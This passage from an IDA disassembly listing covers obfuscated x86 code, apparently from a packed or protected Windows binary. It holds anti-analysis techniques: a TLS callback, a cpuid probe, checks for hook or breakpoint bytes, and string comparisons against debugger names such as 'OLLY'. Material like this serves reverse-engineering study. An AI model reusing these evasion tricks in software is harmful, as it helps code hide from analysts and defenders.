		shl	eax, cl
		call	sub_427D00
; END OF FUNCTION CHUNK	FOR sub_426AD4
; START	OF FUNCTION CHUNK FOR sub_428BA9


loc_428B6D:				; CODE XREF: sub_428BA9:loc_42BF2Bj
		and	al, 7
		push	offset loc_42CE27
; END OF FUNCTION CHUNK	FOR sub_428BA9
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_428B74:				; CODE XREF: sub_4266B1+288Fj
		jmp	loc_42C0CD
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_428B79:				; CODE XREF: sub_42AA68:loc_42BE9Ej
		mov	[ebx], al
		pop	ebx
		jmp	loc_427FD3
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_428B81:				; CODE XREF: sub_4283CC:loc_42A77Fj
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_42FB2F
		jmp	loc_42F8EB
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BF9


loc_428B8F:				; CODE XREF: sub_424BF9:loc_428BDAj
		push	eax
		push	offset loc_426EE2
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_424BF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_428B9A:				; CODE XREF: sub_426968:loc_4275F0j
		test	al, al
		jz	loc_42E1F6
		jmp	loc_426B0A
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_428BA7:				; CODE XREF: wto1jq8f:0042E8CBj
		xchg	esi, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_428BA9	proc near		; CODE XREF: sub_42D434:loc_428454p

; FUNCTION CHUNK AT 00426E01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B6D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BF2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D589 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042F001 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_42F001
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		jmp	loc_426E01
sub_428BA9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428BC4	proc near		; DATA XREF: sub_4262CE:loc_429363o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00427DD9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D4DA SIZE 00000023 BYTES

		push	edx
		push	92249BC1h
		pop	edx
		add	edx, 6E1E299Bh
		xchg	edx, [esp+0]
		jmp	loc_42D4DA
sub_428BC4	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BF9


loc_428BDA:				; CODE XREF: sub_424BF9+825Fj
		jmp	loc_428B8F
; END OF FUNCTION CHUNK	FOR sub_424BF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_428BDF:				; CODE XREF: sub_426313+1356j
					; sub_42506F:loc_42A843j
		ror	eax, 17h
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_426313
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428BE9:				; CODE XREF: sub_42E9E8-7FC5j
					; sub_42E9E8+Dj
		push	0A8A4EBCh
		pop	eax
		jmp	loc_4277FF
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_428BF4	proc near		; CODE XREF: wto1jq8f:00425DAFj
					; sub_42689A+1434p
		mov	[esp+0], ebx
		pop	ebx
		mov	eax, [ebp-0Ch]
		mov	ecx, 3FBh
		jmp	loc_428D57
sub_428BF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		jmp	loc_427192

; =============== S U B	R O U T	I N E =======================================



sub_428C0C	proc near		; CODE XREF: sub_42604C:loc_42C10Fp
					; wto1jq8f:0042E4FDj

; FUNCTION CHUNK AT 00424DE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424EDF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004259DD SIZE 00000014 BYTES

		mov	[esp+0], eax
		pop	eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		jmp	loc_424DE7
sub_428C0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_428C1B:				; CODE XREF: sub_426968:loc_4264A3j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_42DFB1
		mov	eax, [ebp-8]
		jmp	loc_424ED3
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
		jmp	loc_426DE0
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		push	eax
		push	ebx
		push	0A2218AE4h
		pop	ebx
		xor	ebx, 8890D18Ah
		jmp	loc_42B1CD
; ---------------------------------------------------------------------------
		call	sub_424309
; START	OF FUNCTION CHUNK FOR sub_42E541


loc_428C4F:				; CODE XREF: sub_42E541+9E8j
		mov	[edx-18h], eax
		inc	dword ptr [ebp-4]
		jmp	loc_42B131
; ---------------------------------------------------------------------------


loc_428C5A:				; CODE XREF: sub_42E541:loc_42A585j
		cmp	dword ptr [ebp-14h], 4
		push	offset loc_429937
		jmp	loc_42E0E1
; END OF FUNCTION CHUNK	FOR sub_42E541

; =============== S U B	R O U T	I N E =======================================



sub_428C68	proc near		; DATA XREF: wto1jq8f:0042E2B3o
		pop	ebp
		xor	eax, eax
		retn
sub_428C68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3DA


loc_428C6C:				; CODE XREF: sub_42A3DA+Cj
		jmp	loc_424A8B
; END OF FUNCTION CHUNK	FOR sub_42A3DA

; =============== S U B	R O U T	I N E =======================================



sub_428C71	proc near		; CODE XREF: sub_42ED01:loc_4267DCj
					; sub_424DA0:loc_42C8C6j ...

; FUNCTION CHUNK AT 0042892E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B6A8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042CD5C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042F3C0 SIZE 00000005 BYTES

		jnz	sub_42E5FA
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp


loc_428C7D:				; CODE XREF: sub_429D2E:loc_426247j
					; wto1jq8f:loc_42FA61j
		jmp	loc_42CD5C
sub_428C71	endp

; ---------------------------------------------------------------------------


loc_428C82:				; DATA XREF: sub_4285AF+9o
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
		push	1Ch
		lea	eax, [ebp-34h]
		push	eax
		push	1F471F99h
		pop	eax
		and	eax, 0BB1FC7B6h
		jmp	loc_424C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF9A


loc_428C9F:				; CODE XREF: sub_42FF9A:loc_424C68j
		or	eax, edx
		push	offset sub_427DA7
		jmp	loc_42D317
; END OF FUNCTION CHUNK	FOR sub_42FF9A
; ---------------------------------------------------------------------------


loc_428CAB:				; DATA XREF: sub_425DF0+1A64o
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_425DF7
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_428CB7:				; CODE XREF: sub_42A6CD+2FBFj
		popf


loc_428CB8:				; CODE XREF: sub_42A6CD:loc_42D684j
		add	edx, 4F960EA8h
		xchg	edx, [esp+0]
		jmp	sub_42C0D7
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------


loc_428CC6:				; CODE XREF: wto1jq8f:0042F39Cj
		not	edx
		popf
		not	eax
		jmp	loc_428F56
; ---------------------------------------------------------------------------


loc_428CD0:				; DATA XREF: wto1jq8f:0042DDC2o
		mov	eax, 80000003h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		jmp	loc_429FBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C43B


loc_428CE4:				; CODE XREF: sub_42C43B-7FD8j
		push	0AE124FB9h
; END OF FUNCTION CHUNK	FOR sub_42C43B

; =============== S U B	R O U T	I N E =======================================



sub_428CE9	proc near		; CODE XREF: sub_42F50F:loc_424AECp

; FUNCTION CHUNK AT 0042C29A SIZE 0000000B BYTES

		mov	[esp+0], esi
		pop	esi
		mov	ds:dword_42A73C, eax
		call	sub_42ED32
		mov	edx, 90F68180h
		jmp	loc_42C29A
sub_428CE9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428D01	proc near		; DATA XREF: sub_42C547+CDCo
		xchg	ecx, [esp+0]
		retn
sub_428D01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3EB


loc_428D05:				; CODE XREF: sub_42A3EB-487Dj
		jmp	loc_424A82
; END OF FUNCTION CHUNK	FOR sub_42A3EB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_428D0B:				; CODE XREF: sub_42AECE-4789j
					; sub_42A467-313Dj ...
		ror	eax, 3
		push	edx
		ror	edx, 8
		jmp	loc_42DFD0
; END OF FUNCTION CHUNK	FOR sub_42AECE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_428D18:				; CODE XREF: sub_42B02D+3068j
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_428D1D:				; CODE XREF: sub_42A6CD+214Aj
		jmp	loc_42828A
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427106


loc_428D22:				; CODE XREF: sub_427106+1j
		jmp	loc_426F2D
; END OF FUNCTION CHUNK	FOR sub_427106
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_428D27:				; CODE XREF: sub_429D2E:loc_424A64j
		jnz	loc_42624D
		jmp	loc_424FCC
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_428D32:				; CODE XREF: sub_42A8ED:loc_42CAD3j
		push	offset sub_42A564
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_42A8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_428D3C:				; CODE XREF: sub_42606D:loc_4243F6j
		jz	loc_42444D
		jmp	loc_429599
; END OF FUNCTION CHUNK	FOR sub_42606D

; =============== S U B	R O U T	I N E =======================================



sub_428D47	proc near		; DATA XREF: sub_42D789+15o

; FUNCTION CHUNK AT 00424D18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425A3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427728 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A827 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042C9AA SIZE 0000000B BYTES

		call	sub_424585
		push	9556E74Eh
		pop	edx
		call	sub_427143


loc_428D57:				; CODE XREF: sub_428BF4+Cj
		jmp	loc_424D18
sub_428D47	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D4


loc_428D5C:				; CODE XREF: sub_4246D4+A67Bj
		pop	ebp
		jmp	loc_427FCE
; END OF FUNCTION CHUNK	FOR sub_4246D4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[esp], ebx
		push	eax
		push	ecx
		push	edx
		jmp	loc_4244D2
; ---------------------------------------------------------------------------
		db 0BAh, 55h, 1Bh
		dd 6850BB93h, 0CFBCA571h, 0B1F08158h, 0C11BC0FFh, 0C08116C0h
		dd 500D7977h
		dd 0E9240487h, 0FFFFCB81h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_428D94:				; CODE XREF: sub_426535:loc_426895j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_427CC2
		mov	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_426535
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_428DA3:				; CODE XREF: sub_4244EA:loc_42AA49j
		cmp	byte ptr [eax],	0E9h
		jz	loc_427CC2
		jmp	loc_42934D
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C031


loc_428DB1:				; CODE XREF: sub_42C031:loc_42F3BBj
		mov	ds:dword_42DAE4, eax
		lea	eax, [ebp-14h]
		jmp	loc_428A8A
; END OF FUNCTION CHUNK	FOR sub_42C031

; =============== S U B	R O U T	I N E =======================================



sub_428DBE	proc near		; CODE XREF: sub_424585+3j

; FUNCTION CHUNK AT 0042A0A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BB33 SIZE 0000001B BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_42FB68
		call	sub_42E5B2


loc_428DCB:				; CODE XREF: sub_42F25F-6D12j
		cmp	ds:dword_42DAE4, 0
		jnz	loc_427B25
		jmp	loc_42A0A7
sub_428DBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_428DDD	proc near		; CODE XREF: sub_42A491+8p
					; wto1jq8f:0042F415j
		mov	[esp+0], eax
		pop	eax
		call	sub_42FB2F
		push	eax
		call	dword ptr [ebp-4]
		test	eax, eax
		jz	loc_425BE9
		jmp	loc_42A486
sub_428DDD	endp

; ---------------------------------------------------------------------------


loc_428DF7:				; DATA XREF: sub_42BE69:loc_424569o
		push	eax
		push	edx
		push	159BC44Bh
		pop	edx
		jmp	loc_425085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_428E04:				; CODE XREF: sub_42B02D+Aj
		cmp	ds:dword_42FB50, 0
		jz	loc_42B4B4
		mov	eax, ds:dword_42FB50
		push	offset loc_42BB17
		jmp	loc_429633
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42414C


loc_428E20:				; CODE XREF: sub_42414C:loc_42E3E0j
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_42414C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_428E27:				; CODE XREF: sub_429F7D+159Ej
		jmp	loc_42BEEF
; END OF FUNCTION CHUNK	FOR sub_429F7D

; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: wto1jq8f:TlsCallbackso

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00426604 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042999A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042A9BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042AFE6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042BA7F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042DF88 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042EAAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F690 SIZE 00000019 BYTES

		pushf
		mov	[esp+0], ebp
		jmp	loc_42AFE6
TlsCallback_0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_428E35:				; CODE XREF: sub_42B276-2742j
		jz	loc_4281AB
		call	nullsub_2
		retn
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_42B276:loc_428B27j
		call	sub_42CB36
		test	al, al
		jmp	loc_426281
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_428E4D:				; CODE XREF: sub_42A909-6489j
		jz	nullsub_213
		jmp	loc_42F718
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------


loc_428E58:				; CODE XREF: wto1jq8f:00424EAEj
		not	ebx
		jmp	loc_42E1B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428E5F:				; CODE XREF: sub_42E9E8:loc_42B752j
					; sub_42E9E8+15F1j
		add	eax, edx
		xor	eax, ebx
		add	eax, ecx
		xor	eax, esi
		add	eax, edi
		jmp	loc_425F8E
; ---------------------------------------------------------------------------


loc_428E6E:				; CODE XREF: sub_42E9E8:loc_4297C8j
		push	eax
		jmp	loc_42EB89
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_428E74:				; CODE XREF: sub_42C6C3:loc_42979Ej
		add	eax, ecx
		push	offset sub_42B840


loc_428E7B:				; CODE XREF: wto1jq8f:00427DD4j
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_42C6C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428E80:				; CODE XREF: sub_42E9E8-8412j
		popf
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_428E81	proc near		; CODE XREF: wto1jq8f:00425027p
		xchg	edi, [esp+0]
		pop	edi
		push	0F2F05663h
		pop	eax
		and	eax, 0A18E7BE0h
		jmp	loc_42DF53
sub_428E81	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F5E5


loc_428E97:				; CODE XREF: sub_42F5E5-2832j
		jmp	loc_42FC98
; END OF FUNCTION CHUNK	FOR sub_42F5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_428E9C:				; CODE XREF: sub_425F4F:loc_42EAD2j
		and	edi, 12EC9E35h
		jmp	loc_429F0A
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------


loc_428EA7:				; CODE XREF: wto1jq8f:0042EF4Ej
		add	edx, [ebp-4]
		call	sub_42B565
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_428EAF:				; CODE XREF: sub_42EDB9:loc_42FC34j
		sbb	eax, edi
		jmp	loc_428A0E
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_428EB6:				; CODE XREF: sub_42A909-2993j
		sbb	edx, 0A73869F1h


loc_428EBC:				; CODE XREF: sub_42A909:loc_42ED98j
		call	sub_42B866
		retn
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E676


loc_428EC2:				; CODE XREF: sub_42E676+10j
		jmp	loc_429FF9
; END OF FUNCTION CHUNK	FOR sub_42E676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_428EC7:				; CODE XREF: sub_42D4FD+1j
		jmp	loc_42A9D4
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_428ECC:				; CODE XREF: sub_42E9E8-9EDAj
		jmp	loc_428669
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_428ED1:				; CODE XREF: sub_42A909+2942j
		call	sub_42CB36
		test	al, al
		jz	loc_42ACAC
		jmp	loc_424924
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_42A14D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428EEA:				; CODE XREF: wto1jq8f:00427CF0j
		jmp	loc_42CE75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42408D


loc_428EEF:				; CODE XREF: sub_42408D+4j
		jmp	loc_42598D
; END OF FUNCTION CHUNK	FOR sub_42408D

; =============== S U B	R O U T	I N E =======================================



sub_428EF4	proc near		; DATA XREF: wto1jq8f:0042D256o
		push	eax
		rol	eax, 8
		mov	ds:dword_42E514, eax
		retn
sub_428EF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B68E


loc_428EFF:				; CODE XREF: sub_42B68E+3j
		jmp	loc_42902C
; END OF FUNCTION CHUNK	FOR sub_42B68E
; ---------------------------------------------------------------------------


loc_428F04:				; DATA XREF: sub_429165-4782o
		add	eax, 3Ch
		push	offset loc_42AB72
		jmp	loc_4263E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_428F11:				; CODE XREF: sub_42DCB4-7CDBj
		jz	loc_429524
		cmp	eax, 0FFFFFFFFh
		jz	loc_429524
		mov	eax, [eax]
		jmp	loc_42F63A
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
		jnb	loc_42757C
		jmp	loc_428134
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_428F32:				; CODE XREF: sub_4266B1:loc_425CF5j
		jl	loc_42EFBE
		adc	esi, 873E3DA3h
		sub	edi, esi
		jl	loc_428B74
		jmp	loc_429BEC
; END OF FUNCTION CHUNK	FOR sub_4266B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_428F4C:				; CODE XREF: sub_42A88D+A6Aj
		jmp	loc_42F66C
; END OF FUNCTION CHUNK	FOR sub_42A88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_428F51:				; CODE XREF: sub_42DB52-5C3Dj
		jmp	loc_424873
; END OF FUNCTION CHUNK	FOR sub_42DB52
; ---------------------------------------------------------------------------


loc_428F56:				; CODE XREF: wto1jq8f:00428CCBj
					; wto1jq8f:loc_42F396j
		push	edi
		push	offset loc_426B32
		jmp	locret_42EAAA

; =============== S U B	R O U T	I N E =======================================



sub_428F61	proc near		; CODE XREF: sub_42CE5D+1p

; FUNCTION CHUNK AT 00424617 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004271D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042745C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427CB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A97B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F881 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042FA93 SIZE 00000015 BYTES

		mov	[esp+0], ebp
		mov	eax, offset dword_42AD18
		mov	edx, 16h
		call	sub_428B3B
		pop	ecx
		push	ebp
		push	0FCCB8D9Ah
		pop	eax
		jmp	loc_4271D7
sub_428F61	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ecx, 0CEC2E26Fh
		jmp	loc_42D342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_428F8A:				; CODE XREF: sub_42DB52:loc_42DBFEj
		pop	edx
		push	ebp
		call	sub_42F947


loc_428F91:				; CODE XREF: sub_42FA0F+Fj
		jmp	loc_427F0F
; END OF FUNCTION CHUNK	FOR sub_42DB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBA6


loc_428F96:				; CODE XREF: sub_42DBA6+1Aj
		jmp	loc_42880E
; END OF FUNCTION CHUNK	FOR sub_42DBA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_428F9B:				; CODE XREF: sub_428AC6:loc_42F5D7j
					; sub_428AC6+6B1Aj
		add	edx, 59944B3Eh
		xor	edx, 3705135Fh
		add	esi, edx
		pop	edx
		mov	esi, [esi]
		push	offset sub_424B93
		jmp	loc_4276F6
; END OF FUNCTION CHUNK	FOR sub_428AC6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C88D


loc_428FB7:				; CODE XREF: sub_42C88D+14j
		jmp	nullsub_224
; END OF FUNCTION CHUNK	FOR sub_42C88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_428FBC:				; CODE XREF: sub_42618A+17j
		jmp	loc_427046
; END OF FUNCTION CHUNK	FOR sub_425944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_428FC1:				; CODE XREF: sub_424BD4+11j
		jmp	loc_4248F2
; END OF FUNCTION CHUNK	FOR sub_424BD4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428136


loc_428FC7:				; CODE XREF: sub_428136:loc_427DEEj
		push	offset sub_42D86F
		jmp	nullsub_204
; END OF FUNCTION CHUNK	FOR sub_428136
; ---------------------------------------------------------------------------


loc_428FD1:				; DATA XREF: sub_426535:loc_42865Fo
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_4265DB
		jmp	loc_42C772
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_428FE8:				; CODE XREF: sub_42ED01:loc_4274AEj
					; wto1jq8f:loc_42806Dj
		sbb	edx, 8C470E66h
		pop	edx
		xor	ebx, ebp


loc_428FF1:				; CODE XREF: wto1jq8f:004267A1j
		cmp	eax, 6A11CDA3h
		jmp	loc_42D0C7
; END OF FUNCTION CHUNK	FOR sub_42ED01

; =============== S U B	R O U T	I N E =======================================



sub_428FFC	proc near		; DATA XREF: sub_42481C:loc_42A264o
		mov	eax, [ebp-4]
		inc	eax
		call	sub_428183
		jmp	loc_428A35
sub_428FFC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42900A:				; CODE XREF: sub_42481C:loc_4294DDj
					; sub_429BFF+3B49j ...
		xor	edx, edx
		jmp	loc_424949
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_42AFCD

; =============== S U B	R O U T	I N E =======================================



sub_429017	proc near		; CODE XREF: sub_42414C+722p
					; wto1jq8f:loc_4288ADj
		push	offset loc_42BD6C
		jmp	loc_426EE8
sub_429017	endp

; ---------------------------------------------------------------------------
		jge	sub_4266CA
		jmp	loc_42B8B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B68E


loc_42902C:				; CODE XREF: sub_42B68E:loc_428EFFj
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 594C4C4Fh
		call	sub_42C049
; END OF FUNCTION CHUNK	FOR sub_42B68E

; =============== S U B	R O U T	I N E =======================================



sub_42903A	proc near		; CODE XREF: sub_42628C-1B6Ep
					; wto1jq8f:00426630j

; FUNCTION CHUNK AT 0042A858 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_4245A1
		push	offset sub_4270C0
		jmp	loc_42A858
sub_42903A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 5FCEh
dword_429050	dd 0							; sub_42C0D7:loc_42A4CCr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_429054:				; CODE XREF: sub_42BE69-3EFj
		jmp	loc_42A9E7
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------
		db 6Dh,	2Ch, 38h
dword_42905C	dd 0							; sub_42FE4C-907Ar ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D71D


loc_429060:				; CODE XREF: sub_42D71D+Dj
		jmp	loc_4274EA
; END OF FUNCTION CHUNK	FOR sub_42D71D
; ---------------------------------------------------------------------------
		db 0A1h, 0C0h, 40h
dword_429068	dd 0							; sub_424406:loc_4244A4w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42906C:				; CODE XREF: sub_42C486-23A6j
		jmp	loc_42CEAD
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		db 80h,	4Ah, 85h
dword_429074	dd 0		dword_429078	dd 0							; sub_42B8FC+44A3w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42907C:				; CODE XREF: sub_429B76+558j
		jmp	loc_42F7DB
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245D6


loc_429081:				; CODE XREF: sub_4245D6+Ej
		jmp	loc_4243AB
